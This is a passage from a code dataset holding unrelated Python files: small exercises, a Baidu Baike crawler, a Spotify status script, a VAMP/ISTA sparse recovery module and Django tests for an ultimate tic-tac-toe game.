userSiteUrl == None or userSiteUrl == \"\":\r\n userSiteUrl = siteUrl + \"u/\" + self.userName + \"/\"\r\n else:\r\n userSiteUrl = userSiteUrl.replace(\"{loginName}\", self.userName) \r\n return userSiteUrl","sub_path":"WebContent/js/jitar/module/user_video.py","file_name":"user_video.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"385709649","text":"comp = {\n 'HP': 20,\n 'DELL': 50,\n 'MACBOOK': 12,\n 'ASUS': 30,\n}\ncomp['TOSHIBA'] = 10\ncomp['FUJITSU'] = 15\ncomp['ALIENWARE'] = 5\n\nq = 0\n\nfor m, n in comp.items():\n print (m, \":\", n)\n q = q + n\nprint (\"Tong so luong may con:\", q)\n ","sub_path":"session11/minihack3/exs4.py","file_name":"exs4.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"126379088","text":"import time\nimport Constants\nfrom rules2._IRule import _IRule\nfrom commons.timeOperation import TmOperation\n\nclass DateRule(_IRule):\n def __init__(self,params):\n super().__init__(params)\n self._tmOperator = TmOperation()\n self._tmOperator.setFormat('%Y-%m-%d');\n\n self._isInit = False\n\n def _validateComman(self):\n if self.params.get('start'):\n try:\n self._tmOperator.validTime(self.params.get('start'))\n except:\n self._setError('the format is xxxx-xx-xx for start')\n return False\n if self.params.get('end'):\n try:\n self._tmOperator.validTime(self.params.get('end'))\n except:\n self._setError('the format is xxxx-xx-xx for end')\n return False\n\n if type(self.params.get('step')) is not type(1) and not self.params.get('step').isdigit():\n self._setError('step must be Interger')\n return False\n if not self.params.get('unit'):\n self.params['unit'] = 'd'\n\n return True\n\n def _getCommanValue(self):\n if not self._isInit:\n self.init()\n\n if not self._currValue:\n self._currValue = self.params['start']\n else:\n self._currValue = self._tmOperator.getDeltatime(self._currValue, self.params['unit'], self.params['step'])\n if(self._currValue > self.params['end']):\n self._currValue = self.params['start']\n self._currValue = str(self._currValue)[0:10]\n return self._currValue;\n #return self._currValue\n\n def _getNowValue(self):\n self._currValue = time.strftime('%Y-%m-%d')\n return self._currValue\n\n def init(self):\n if(self.params.get('step')):\n self.params['step'] = int(self.params['step'])*-1\n\n if self.params.get('end'):\n self.params['end'] = self._tmOperator.getDateTimeByStr(self.params['end'])\n self._isInit = True\n\n\nif __name__ == '__main__':\n params = {'start':'2017-12-09','end':'2017-12-30','step':2,'unit':'d','_TYPE_':'COMMAN'}\n\n R = DateRule(params)\n print(R._format);\n if not R.validate():\n print(R.getError())\n else:\n print(R.getValue())\n print(R.getValue())\n print(R.getValue())\n print(R.getValue())","sub_path":"rules2/DB_DateRule.py","file_name":"DB_DateRule.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"56586257","text":"\r\nfrom math import *\r\n\r\n\r\ndef isprime(y):\r\n if y <= 1:\r\n return False\r\n if y == 2 or y == 3:\r\n return True\r\n for i in range(2, int(floor(sqrt(y))) + 1):\r\n if (y % i == 0):\r\n return False\r\n return True\r\n\r\ndef ispalin(y):\r\n y = str(y)\r\n return y == y[::-1]\r\n\r\nw = 0\r\n\r\nfor i in range(eval(input('Enter the starting point N:\\n')) + 1, eval(input('Enter the ending point M:\\n'))):\r\n if w == 0:\r\n print('The palindromic primes are:')\r\n w += 1\r\n if ispalin(i) and (isprime(i)):\r\n print(i)\r\n\r\nif w == 0:\r\n print('The palindromic primes are:')\r\n","sub_path":"examples/data/Assignment_3/sngami008/question4.py","file_name":"question4.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"158019661","text":"from PIL import Image, ImageEnhance, ImageOps\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef show(img, title=None, figsize=(8, 4)):\n plt.figure(figsize=figsize)\n if title is None:\n plt.title(\"My Hand Written MNIST\")\n else:\n plt.title(title)\n plt.imshow(img)\n plt.show()\n\n\ndef get_samples(image, size=30):\n samples = []\n for digit, y in enumerate(range(0, image.height, size)):\n cuts = []\n for x in range(0, image.width, size):\n cut = image.crop(box=(x, y, x + size, y + size))\n cuts.append(cut)\n samples.append(cuts)\n return samples\n\n\ndef center_image(sample, target_size=28):\n inv_sample = ImageOps.invert(sample)\n bbox = inv_sample.getbbox()\n crop = inv_sample.crop(bbox)\n delta_w = target_size - crop.size[0]\n delta_h = target_size - crop.size[1]\n padding = (delta_w // 2, delta_h // 2, delta_w - (delta_w // 2), delta_h - (delta_h // 2))\n return ImageOps.expand(crop, padding)\n\n\ndef save_binary_samples_to_file(binary_samples, file_name):\n np.save(file_name, binary_samples)\n\n\ndef get_parsed_my_mnist():\n my_mnist_img = Image.open(\"my_mnist/my_MNIST.png\")\n # show(my_mnist_img)\n\n bw_my_mnist_img = my_mnist_img.convert(mode=\"L\")\n\n samples = get_samples(image=bw_my_mnist_img)\n\n centered_samples = []\n for row in samples:\n centered_samples.append([center_image(sample) for sample in row])\n\n binary_samples = np.array([[sample.getdata() for sample in row] for row in centered_samples])\n binary_samples = binary_samples.reshape(len(centered_samples) * len(centered_samples[0]), 28,\n 28)\n classes = np.array([[i] * 10 for i in range(10)]).reshape(-1)\n\n print(f'X shape: {binary_samples.shape}')\n print(f'y shape: {classes.shape}')\n\n save_binary_samples_to_file(binary_samples, \"gabi_mnist.npy\")\n\n return binary_samples, classes","sub_path":"rok_4/wprowadzenie_do_sztucznej_inteligencji/lista_3/parse_my_mnist.py","file_name":"parse_my_mnist.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"172988796","text":"\n# sample input\n# python3 test_template_and_predict.py MuxinTA1ClassificationTemplate2 /muxin/data/38_sick/ --Score_path /muxin/data/38_sick/SCORE/\n\n\n# import d3m utility\nfrom d3m import utils, index\nfrom d3m.container.dataset import D3MDatasetLoader, Dataset\nfrom d3m.metadata.pipeline import PrimitiveStep, ArgumentType\nfrom d3m.metadata.problem import parse_problem_description, TaskType, TaskSubtype\nfrom d3m.metadata import base as metadata_base\nfrom d3m.metadata.base import Metadata, ALL_ELEMENTS\n\n# import evaluation packages\n# remember to install it from https://gitlab.datadrivendiscovery.org/nist/nist_eval_output_validation_scoring\nfrom d3m_outputs import Predictions\n\n# import python packages\nimport argparse\nimport json\nimport os\nimport networkx\nfrom importlib import reload\n\n# import dsbox-ta2 patterns\n\n# os.sys.path.insert(0, \"/muxin/dsbox-ta2/python/\") # remember to change this to your own path\nfrom dsbox.template.runtime import Runtime, add_target_columns_metadata\nfrom dsbox.template.template import TemplatePipeline, TemplateStep, DSBoxTemplate\nfrom dsbox.template.library import TemplateLibrary\nfrom dsbox.template.configuration_space import DimensionName, ConfigurationSpace, SimpleConfigurationSpace, ConfigurationPoint\nfrom dsbox.schema import get_target_columns\n\n\ndef load_data(data_path, problem_path) -> tuple:\n '''\n load dataset metadata\n '''\n dataset = D3MDatasetLoader()\n if \"file:\" not in data_path:\n data_path = 'file://{dataset_path}'.format(dataset_path=os.path.abspath(data_path))\n with open(problem_path) as f:\n problem_doc = json.load(f)\n problem = Metadata(problem_doc)\n dataset = dataset.load(dataset_uri=data_path)\n dataset = add_target_columns_metadata(dataset, problem)\n return dataset, problem\n\n\ndef load_template(template_name) -> DSBoxTemplate:\n '''\n load one template by name\n '''\n return TemplateLibrary(run_single_template=template_name).templates[0]()\n\n\ndef generate_pipeline(template) -> TemplatePipeline:\n space = template.generate_configuration_space()\n point = space.get_point_using_first_value()\n\n return template.to_pipeline(point)\n\n\ndef run_pipeline_and_predict(pipeline, train_data, test_data, problem, outdir, dataset_path) -> str:\n '''\n Predicting and write results to a path\n '''\n pipeline_runtime = Runtime(pipeline, fitted_pipeline_id=\"\", random_seed=0)\n pipeline_runtime.fit(inputs=[train_data])\n resID = problem.query(())[\"inputs\"][\"data\"][0][\"targets\"][0][\"resID\"]\n test_length = test_data.metadata.query((resID, ALL_ELEMENTS))[\"dimension\"][\"length\"]\n for v in range(0, test_length):\n types = test_data.metadata.query((resID, ALL_ELEMENTS, v))[\"semantic_types\"]\n for t in types:\n if t == \"https://metadata.datadrivendiscovery.org/types/TrueTarget\":\n target_col_name = test_data.metadata.query((resID, ALL_ELEMENTS, v))[\"name\"]\n break\n\n pipeline_runtime.produce(inputs=[test_data])\n prediction = pipeline_runtime.produce_outputs[-1]\n\n # prediction.to_csv(outdir)\n print(prediction.head())\n\n d3m_index = get_target_columns(test_data)[\"d3mIndex\"]\n d3m_index = d3m_index.reset_index().drop(columns=[\"index\"])\n prediction_col_name = prediction.columns[-1]\n prediction[\"d3mIndex\"] = d3m_index\n prediction = prediction[[\"d3mIndex\", prediction_col_name]]\n prediction = prediction.rename(columns={prediction_col_name: target_col_name})\n if outdir == -1:\n outdir = \"./results/\" + dataset_path.split(\"/\")[-2] + \"/\"\n if not os.path.exists(outdir):\n os.makedirs(outdir)\n filename = \"prediction.csv\"\n totalpath = outdir + filename\n with open(totalpath, \"w\") as f:\n\n prediction.to_csv(f, index=False)\n print(\"prediction result wrote to\", totalpath)\n return totalpath\n\n\ndef validate_prediction(score_path, prediction_path) -> Predictions:\n path_to_score_root = score_path\n p = Predictions(prediction_path, path_to_score_root)\n if p.is_valid():\n return p\n else:\n return None\n\n\ndef main(args):\n train_dataset = args.Dataset_path + \"TRAIN/dataset_TRAIN/datasetDoc.json\"\n train_problem = args.Dataset_path + \"TRAIN/problem_TRAIN/problemDoc.json\"\n test_dataset = args.Dataset_path + \"TEST/dataset_TEST/datasetDoc.json\"\n test_problem = args.Dataset_path + \"TEST/problem_TEST/problemDoc.json\"\n train_data, train_problem = load_data(train_dataset, train_problem)\n test_data, test_problem = load_data(test_dataset, test_problem)\n print(\"Training Dataset loaded with metadata: \")\n print(train_data)\n print(\"Test Dataset loaded with metadata: \")\n print(test_data)\n template = load_template(args.Template_name)\n # print(template.templates)\n print(\"template\", template.template[\"name\"], \"loaded\")\n # dir()\n pipeline = generate_pipeline(template)\n prediction_path = run_pipeline_and_predict(pipeline, train_data, test_data, test_problem, args.Output_dir, args.Dataset_path)\n if args.Score_path == -1:\n print(\"No scoring requirements, exit\")\n return 1\n else:\n prediction = validate_prediction(args.Score_path, prediction_path)\n ground_truth_path = args.Score_path + \"/targets.csv\"\n if prediction:\n print(\"Prediction is valid\")\n print(\"Results of prediction: \", prediction.score(ground_truth_path))\n else:\n print(\"Prediction is not validate!\")\n return 1\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Test a single Template\")\n parser.add_argument(\"Template_name\", help=\"Template name in library.py\")\n parser.add_argument(\"Dataset_path\", help=\"Dataset path: /data/your_dataset_directory\")\n parser.add_argument(\"--Score_path\", help=\"Score path: /data/your_dataset_directory/SCORE\", default=-1)\n parser.add_argument(\"--Output_dir\", help=\"Output directory\", default=-1)\n\n args = parser.parse_args()\n res = main(args)\n os._exit(res)\n","sub_path":"python/test_template_and_predict.py","file_name":"test_template_and_predict.py","file_ext":"py","file_size_in_byte":6012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"267103900","text":"import numpy as np\r\nimport time\r\nimport sys\r\n\r\n## shell ##\r\n\r\nprint(\"\")\r\nU0 = float(input(\"U0 = \"))\r\nI = 3\r\nR = [50,66.6,100,150,200,250,300]\r\n\r\ndef R_i(U):\r\n return (U0-U)/I\r\n\r\nU = np.array([1,1,1,1,1,1,1])\r\nR_i = R_i(U)\r\n\r\nif len(R_i)!=0:\r\n print(\"\")\r\n print(\"Internal resistance:\")\r\n for i,element in enumerate(R_i,0):\r\n print(\"%.1f: R_i = %f \\Ohm\"%(R[i],element))\r\n time.sleep(0.02)\r\n\r\nelse:\r\n print(\"\")\r\n print(\"You didn't define U, silly\")\r\n","sub_path":"Scripts/ETGP/R_i.py","file_name":"R_i.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"18514098","text":"import sys\nimport urllib\nimport re\nfrom bs4 import BeautifulSoup\n\nclass Parser():\n\t# 解析\n\tdef parse(self, conn, cont):\n\t\t# 从 cont 中得到一个 BeautifulSoup 对象\n\t\tsoup = BeautifulSoup(cont, \"html.parser\")\n\t\t# 解析出所有的地址\n\t\turls = self.parseUrl(conn, soup)\n\t\t# 解析出所有需要的数据\n\t\tdata = self.parseData(conn, soup)\n\t\t# 最后以列表的形式将这这两个数据返回\n\t\treturn urls, data\n\n\t# 解析 URL\n\tdef parseUrl(self, conn, bs ):\n\t\t# 准备一个空列表存在返回的待返回的图片地址\n\t\turls = []\n\n\t\t# 用 BS 对象将 mainc-content div 下的所有 href 属性以 /item/ 开头的 所有 a 标签\n\t\t# 返回值是一个列表,这个值是带\n\t\t\n\t\t# r\"^/item/[^\\=^\\&^\\?.]+\")\n\t\tbl = bs.find('div', class_=\"main-content\")\n\t\tif bl is None:\n\t\t\treturn \n\t\tlinks = bl.findAll('a', href=re.compile(r\"^/item/[^\\?.]\"))\n\n\t\tif len(links) == 0:\n\t\t\tprint(\">> get failed, please get again.\")\n\t\t\treturn None\n\n\t\t# print('----------------遍历 links--------------')\n\t\t# 循环用 bs 返回出来的所有 a 标签\n\t\tfor link in links:\n\t\t\t# 将每一个 A 标签的 href 值取出来\n\t\t\turl = link['href']\n\t\t\t# 然后用 urljoin() 方法将 url 添加到 conn 中,形成一个完整的 url\n\t\t\tfullUrl = urllib.parse.urljoin(conn, url)\n\t\t\t# 向待返回的图片地址列表添加该完整的地址\n\t\t\turls.append(fullUrl)\n\n\t\t# 返回该列表\n\t\treturn urls\n\n\tdef parseData(self, conn, bs):\n\t\tdata = {}\n\t\t# 字典中 url 键的值为传来的图片地址\n\t\tdata['url'] = conn\n\t\t# 取得所有的标题简单\n\t\t\n\t\tdata['title'] = bs.find('dd', class_=\"lemmaWgt-lemmaTitle-title\").find('h1').get_text()\n\n\t\t# 这里需要考虑个问题就,在分析词条页面的时候\n\t\t# 有的页面是没有简介和标题图片的,所以需要作个处理\n\t\tsummary = bs.find('div', class_=\"lemma-summary\") # 直接返回结果\n\t\t# 如果没有简介则打印下面这句话\n\t\tif summary is None:\n\t\t\ttip = \">>> There is no introduction to this page\";print(tip)\n\t\t\tdata['summary'] = tip\n\t\telse:\n\t\t\tdata['summary'] = summary.get_text()\n\t\t# 取得所有 .summary-pic 标签下的 img 标签\n\t\timg = bs.select('.summary-pic img') # 返回一个列表\n\t\t# 同样,如果没有图片,则打印下面这句话\n\t\tif len(img) == 0:\n\t\t\ttip = \">>> There is no image to this page\";print(tip)\n\t\t\tdata['imgUrl'] = tip\n\t\t# 有就将这个图片的地址取得\n\t\telse:\n\t\t\tdata['imgUrl'] = img[0].attrs['src']\n\t\t# 然后将字典返回\n\t\treturn data\n\n\t# 解析字符成 URL 编码\n\tdef quote_(self, str):\n\t\treturn urllib.parse.quote(str)","sub_path":"Python/python.other/qlover.crawler/Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"480870618","text":"#!/bin/python\n\nimport sys\nimport dbus\nimport argparse\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\n '-p',\n '--playpause',\n type=str,\n metavar='Previous indicator',\n dest='icon_previous'\n)\n\nargs = parser.parse_args()\n\n\ndef fix_string(string):\n # corrects encoding for the python version used\n if sys.version_info.major == 3:\n return string\n else:\n return string.encode('utf-8')\n\ntry:\n session_bus = dbus.SessionBus()\n spotify_bus = session_bus.get_object(\n 'org.mpris.MediaPlayer2.spotify',\n '/org/mpris/MediaPlayer2'\n )\n\n spotify_properties = dbus.Interface(\n spotify_bus,\n 'org.freedesktop.DBus.Properties'\n )\n\n metadata = spotify_properties.Get('org.mpris.MediaPlayer2.Player', 'Metadata')\n status = spotify_properties.Get('org.mpris.MediaPlayer2.Player', 'PlaybackStatus')\n\n label_with_font = '%{{T{font}}}{label}%{{T-}}'\n icons = args.icon_previous\n icon = label_with_font.format(font='2', label=icons)\n\n if status == 'Playing' or status == 'Paused':\n print(icon)\n else:\n print('')\n\nexcept Exception as e:\n if isinstance(e, dbus.exceptions.DBusException):\n print('')\n else:\n print(e)\n\n","sub_path":".config/polybar/spotify/previous_next.py","file_name":"previous_next.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"297216449","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom pdb import set_trace\n\ndef prox_l1_norm_c(x,kappa):\n # xnormalized = np.divide(x, np.abs(x), out=np.zeros_like(x), where=np.abs(x)!=0)\n if np.any(np.abs(x)) < 1:\n return 0 * np.fmax(np.abs(x) - kappa,0)\n else:\n xnormalized = np.divide(x, np.abs(x))\n # xnormalized = x/ np.abs(x)\n return xnormalized * np.fmax(np.abs(x) - kappa,0)\n\ndef ista(X, p):\n Z = p.Z0\n for _ in range(p.maxiter_ista):\n temp1 = np.matmul(p.M1, Z)\n temp2 = np.matmul(p.M2,X.T)\n Z = prox_l1_norm_c(temp1 + temp2, p.alpha*p.lam)\n\n if p.istawarmstart == True:\n p.Z0 = Z \n\n return Z\n\ndef ista2(X, p, Z0):\n # used for MC Jacobian computation\n Z = Z0\n\n for _ in range(p.maxiter_ista):\n temp1 = np.matmul(p.M1, Z)\n temp2 = np.matmul(p.M2,X.T)\n Z = prox_l1_norm_c(temp1 + temp2, p.alpha*p.lam)\n return Z\n\ndef ista_grad_mc(X,Xtilde,p):\n N,M = Xtilde.shape\n J = np.zeros((N,M,M), dtype=complex)\n\n for n in range(N):\n # S = np.random.randn(M) + 1j*np.random.randn(M)\n for i in range(M):\n epsilon = 1e-8 * np.exp(1j*2*np.pi*np.random.rand())\n\n Xp = np.copy(Xtilde[n])\n Xp[i] += epsilon#*S[i]\n\n Zeps = ista2(Xp, p, p.Z0prev[:,n])\n Xeps = np.matmul(p.Phi, Zeps).T\n J[n,:,i] = (Xeps - X[n])/(epsilon)\n\n return np.sum(J, axis=0)\n\ndef vamp(Y, p):\n Phi = p.Phi\n A = p.A\n damp, damp2 = p.damp\n L = p.L\n M = p.M\n N = p.N\n R = Y\n X = np.zeros((N,M), dtype=complex)\n Xtilde = np.zeros((N,M), dtype=complex)\n p.M1 = np.eye(Phi.shape[1]) - p.alpha*np.matmul(Phi.T.conj(),Phi)\n p.M2 = p.alpha*Phi.T.conj()\n\n if p.denoiser == 'mmse':\n sum_gain = 0\n for m in range(M):\n sum_gain = sum_gain+(np.linalg.norm(Y[:,m]))**2\n tau = np.sqrt(sum_gain)*np.sqrt(1/(M*L))\n \n p.Z0 = np.zeros((N,Phi.shape[1]), dtype=complex).T\n \n for t in range(p.maxiter_vamp):\n Xprev = X\n Xtilde = np.matmul(A.conj().T, R) + X\n if p.denoiser == 'ista':\n if not p.onsager:\n Z = ista(Xtilde, p)\n X = np.matmul(p.Phi, Z).T\n Rnew = Y - np.matmul(A, X)\n R = (1-damp) * Rnew + damp * R\n elif p.onsager:\n p.Z0prev = np.copy(p.Z0)\n Z = ista(Xtilde, p)\n X = np.matmul(p.Phi, Z).T\n if p.istagrad == 'mc':\n J = ista_grad_mc(X,Xtilde,p)\n Rnew = Y - np.matmul(A, X) + (1-damp2) * (1/L) * np.matmul(R, J)\n R = (1-damp) * Rnew + damp * R\n\n if p.denoiser == 'mmse':\n X, div = denoise_MMSE(Xtilde, tau, p)\n R = Y - np.matmul(A, X) + (N/L) * np.matmul(R, div)\n\n sum_gain = 0\n for m in range(M):\n sum_gain = sum_gain + np.linalg.norm(R[:,m])**2\n tau = np.sqrt(sum_gain)*np.sqrt(1/(M*L))\n\n if t > 0:\n if np.linalg.norm(X-Xprev) <= p.tol*np.linalg.norm(Xprev):\n break\n\n return X\n\ndef grad_denoise_MMSE(x, epsilon, beta, M, tau):\n g1 = -phi(x, epsilon, beta, M, tau)**2\n g2 = -M * (1-epsilon)/epsilon * np.exp(-M * (pi(x, tau, beta, M) - psi(beta,tau)))\n g3 = (1/tau - 1/(tau + beta)) * 2 * x / M\n return g1*g2*g3\n\ndef denoise_MMSE(Xtilde, tau, p):\n beta = p.beta\n epsilon = p.epsilon\n N,M = Xtilde.shape \n \n a = beta/(beta + tau**2)\n b = (1 - epsilon)/epsilon*((beta+tau**2)/tau**2)**M\n c = beta/tau**2/(beta+tau**2)\n coeff0 = a**2/tau**2\n\n inners = np.sum(Xtilde.real**2 + Xtilde.imag**2, axis=1)\n t0 = b*np.exp(-c*np.abs(inners))\n t = 1 + t0\n coeff1 = np.diag(a/t)\n coeff2 = np.diag(t0/t**2)\n X = np.matmul(coeff1, Xtilde)\n outer = coeff0 * np.matmul(np.matmul(Xtilde.T.conj(), coeff2), Xtilde)\n d = np.eye(M)*np.sum(a/t)\n\n D = (outer + d)/N\n \n return X, D\n","sub_path":"vamp.py","file_name":"vamp.py","file_ext":"py","file_size_in_byte":3652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"397227449","text":"import re\nimport mock\nimport datetime\nfrom django.test import TestCase\nfrom django.core.urlresolvers import reverse\nfrom django.forms import ValidationError\nfrom rest_framework.test import APITestCase\nfrom rest_framework import status\nfrom ultinought.models import Game, Player\nfrom ultinought.utils import default_journal, default_board, MoveValidator\n\nclass GameTest(TestCase):\n\n def test_create_adds_players(self):\n game = Game.objects.create()\n self.assertEqual(game.player_set.count(), 2)\n self.assertEqual(set([p.mark for p in game.player_set.all()]),\n set(['x', 'o']))\n\n def test_create_empty_journal(self):\n game = Game.objects.create()\n self.assertEqual(game.journal, default_journal())\n\n def test_create_empty_board(self):\n game = Game.objects.create()\n self.assertEqual(game.board, default_board())\n\n def test_players(self):\n game = Game.objects.create()\n self.assertTrue(isinstance(game.x, Player))\n self.assertTrue(isinstance(game.o, Player))\n\n def test_add_players_twice(self):\n game = Game.objects.create()\n self.assertEqual(game.player_set.count(), 2)\n game.add_players()\n self.assertEqual(game.player_set.count(), 2)\n\n\nclass PlayerTest(TestCase):\n\n def test_shortcode(self):\n game = Game.objects.create()\n self.assertTrue(len(game.x.shortcode), 5)\n self.assertTrue(re.match(r'[a-zA-Z0-9]{5,40}', game.x.shortcode))\n\n# @mock.patch('ultinought.models.asciiencode')\n# def test_duplicate_shortcode(self, mock_asciiencode):\n# mock_asciiencode.return_value = 'loldongs'\n# game = Game.objects.create()\n# self.assertEqual(game.x.shortcode, 'loldo')\n# self.assertEqual(game.o.shortcode, 'loldon')\n\n def test_move(self):\n game = Game.objects.create()\n player = game.x\n player.move(5, 4)\n self.assertEqual(game.board[5][4], 'x')\n\n # then check that the board modification persists\n game = Game.objects.get(pk=game.id)\n self.assertEqual(game.board[5][4], 'x')\n\n def test_move_out_of_bounds(self):\n game = Game.objects.create()\n player = game.x\n with self.assertRaises(IndexError):\n player.move(500, 4)\n\n\nclass NewGameViewTest(APITestCase):\n\n def test_cannot_get(self):\n response = self.client.get(reverse('new_game'))\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n\n def test_post(self):\n response = self.client.post(reverse('new_game'), format='json')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(response.data['board'], default_board())\n self.assertEqual(response.data['journal'], default_journal())\n self.assertEqual(response.data['mark'], 'x') # creator is always x\n self.assertTrue(isinstance(response.data['created_at'], datetime.datetime))\n\n\nclass BoardViewTest(APITestCase):\n\n def setUp(self):\n self.game = Game.objects.create()\n\n def test_get(self):\n response = self.client.get(reverse('board', args=[self.game.x.shortcode]))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['board'], default_board())\n self.assertEqual(response.data['mark'], 'x')\n\n def test_get_invalid_shortcode(self):\n response = self.client.get(reverse('board', args=['lololol']))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_put(self):\n response = self.client.put(reverse('board',\n args=[self.game.x.shortcode]), {'x': 4, 'y': 3}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['board'][4][3], 'x')\n self.assertEqual(response.data['journal'], [\n {'x': 4, 'y': 3, 'player': 'x'},\n ])\n\n def test_put_as_o(self):\n x_response = self.client.put(reverse('board',\n args=[self.game.x.shortcode]), {'x': 0, 'y': 0}, format='json')\n o_response = self.client.put(reverse('board',\n args=[self.game.o.shortcode]), {'x': 1, 'y': 1}, format='json')\n\n self.assertEqual(o_response.status_code, status.HTTP_200_OK)\n self.assertEqual(o_response.data['board'][0][0], 'x')\n self.assertEqual(o_response.data['board'][1][1], 'o')\n self.assertEqual(o_response.data['journal'], [\n {'x': 0, 'y': 0, 'player': 'x'},\n {'x': 1, 'y': 1, 'player': 'o'},\n ])\n\n def test_post(self):\n # should work just like put\n response = self.client.post(reverse('board',\n args=[self.game.x.shortcode]), {'x': 4, 'y': 3}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['board'][4][3], 'x')\n self.assertEqual(response.data['journal'], [\n {'x': 4, 'y': 3, 'player': 'x'},\n ])\n\n def test_put_invalid_shortcode(self):\n response = self.client.put(reverse('board',\n args=['lololol']), {'x': 6, 'y': 1}, format='json')\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_put_no_move(self):\n response = self.client.put(reverse('board',\n args=[self.game.x.shortcode]), {}, format='json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n\nclass MockGame(object):\n\n def __init__(self, board=None, journal=None, infer_board=True):\n self.board = board or default_board()\n self.journal = journal or default_journal()\n\n if infer_board:\n self._infer_board()\n\n def _infer_board(self):\n for item in self.journal:\n x = item.get('x')\n y = item.get('y')\n player = item.get('player')\n self.board[x][y] = player\n\n\nclass MockPlayer(object):\n\n def __init__(self, mark=None):\n self.mark = mark or 'x'\n\n\nclass MoveValidatorTest(TestCase):\n\n def test_validate_initial_move(self):\n game = MockGame()\n player = MockPlayer()\n validator = MoveValidator(player, game, 0, 0)\n self.assertTrue(validator.validate())\n validator = MoveValidator(player, game, 0, 8)\n\n def test_validate_board_bounds(self):\n game = MockGame()\n player = MockPlayer()\n\n validator = MoveValidator(player, game, 0, 9)\n with self.assertRaises(ValidationError):\n validator.validate()\n\n validator = MoveValidator(player, game, 9, 0)\n with self.assertRaises(ValidationError):\n validator.validate()\n\n def test_validate_initial_move_as_o(self):\n game = MockGame()\n player = MockPlayer('o')\n validator = MoveValidator(player, game, 0, 0)\n with self.assertRaises(ValidationError):\n validator.validate()\n\n validator = MoveValidator(player, game, 0, 8)\n with self.assertRaises(ValidationError):\n validator.validate()\n\n def test_validate_incorrect_player(self):\n game = MockGame(journal=[\n {'player': 'x', 'x': 0, 'y': 0}\n ])\n player = MockPlayer('x')\n validator = MoveValidator(player, game, 1, 1)\n with self.assertRaises(ValidationError) as e:\n validator.validate()\n\n def test_valid_sector(self):\n game = MockGame(journal=[\n {'player': 'x', 'x': 0, 'y': 0}\n ])\n player = MockPlayer('o')\n validator = MoveValidator(player, game, 1, 1)\n self.assertTrue(validator.validate())\n\n def test_valid_sector_same_y(self):\n game = MockGame(journal=[\n {'player': 'x', 'x': 0, 'y': 0}\n ])\n player = MockPlayer('o')\n validator = MoveValidator(player, game, 1, 0)\n self.assertTrue(validator.validate())\n\n def test_validate_invalid_sector(self):\n game = MockGame(journal=[\n {'player': 'x', 'x': 1, 'y': 0}\n ])\n player = MockPlayer('o')\n validator = MoveValidator(player, game, 0, 0)\n with self.assertRaises(ValidationError):\n validator.validate()\n\n def test_validate_occupied_tile(self):\n game = MockGame(journal=[\n {'player': 'x', 'x': 3, 'y': 0},\n {'player': 'o', 'x': 0, 'y': 0},\n ])\n\n player = MockPlayer('x')\n validator = MoveValidator(player, game, 0, 0)\n with self.assertRaises(ValidationError):\n validator.validate()\n\n validator = MoveValidator(player, game, 1, 0)\n self.assertTrue(validator.validate)\n\n def test_invalid_sector_won(self):\n game = MockGame(journal=[\n {\"y\":0, \"x\":0, \"player\":\"x\"},\n {\"y\":0, \"x\":1, \"player\":\"o\"},\n {\"y\":0, \"x\":3, \"player\":\"x\"},\n {\"y\":1, \"x\":1, \"player\":\"o\"},\n {\"y\":3, \"x\":3, \"player\":\"x\"},\n {\"y\":2, \"x\":1, \"player\":\"o\"},\n ])\n player = MockPlayer('x')\n validator = MoveValidator(player, game, 2, 0)\n with self.assertRaises(ValidationError):\n validator.validate()\n\n def test_invalid_game_won(self):\n game = MockGame(journal=[\n {\"y\":0,\"x\":0,\"player\":\"x\"},\n {\"y\":0,\"x\":1,\"player\":\"o\"},\n {\"y\":0,\"x\":3,\"player\":\"x\"},\n {\"y\":1,\"x\":1,\"player\":\"o\"},\n {\"y\":3,\"x\":3,\"player\":\"x\"},\n {\"y\":2,\"x\":1,\"player\":\"o\"},\n {\"y\":7,\"x\":4,\"player\":\"x\"},\n {\"y\":3,\"x\":4,\"player\":\"o\"},\n {\"y\":1,\"x\":4,\"player\":\"x\"},\n {\"y\":4,\"x\":4,\"player\":\"o\"},\n {\"y\":5,\"x\":5,\"player\":\"x\"},\n {\"y\":8,\"x\":8,\"player\":\"o\"},\n {\"y\":7,\"x\":7,\"player\":\"x\"},\n {\"y\":5,\"x\":4,\"player\":\"o\"},\n {\"y\":8,\"x\":5,\"player\":\"x\"},\n {\"y\":7,\"x\":8,\"player\":\"o\"},\n 